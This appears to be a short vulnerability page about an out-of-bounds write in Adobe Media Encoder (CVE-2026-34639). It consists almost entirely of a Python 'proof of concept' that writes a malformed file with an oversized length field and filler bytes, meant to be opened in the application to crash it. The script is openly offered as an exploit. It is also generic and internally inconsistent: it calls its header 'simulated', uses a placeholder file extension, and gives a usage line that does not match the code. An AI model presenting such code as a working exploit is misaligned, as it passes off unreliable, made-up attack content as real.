CVE-2026-34639 Adobe Media Encoder越界写入漏洞

import struct # PoC for CVE-2026-34639: Adobe Media Encoder Out-of-Bounds Write # This script generates a malformed file intended to trigger the vulnerability. # Usage: python poc.py > malicious_file.ext def generate_malicious_file(): # Create a basic header (simulated structure) header = b"\x00\x00\x00\x00" # Magic bytes # Craft a size field that exceeds the expected buffer size # The application allocates a buffer based on a field but copies more data malicious_size = struct.pack('<I', 0xFFFFFFFF) # Large size payload = b"A" * 0x1000 # Data to overflow # Construct the file file_data = header + malicious_size + payload with open("crash.ext", "wb") as f: f.write(file_data) print("[+] Malicious file generated: crash.ext") print("[+] Open this file in Adobe Media Encoder to trigger the crash.") if __name__ == "__main__": generate_malicious_file()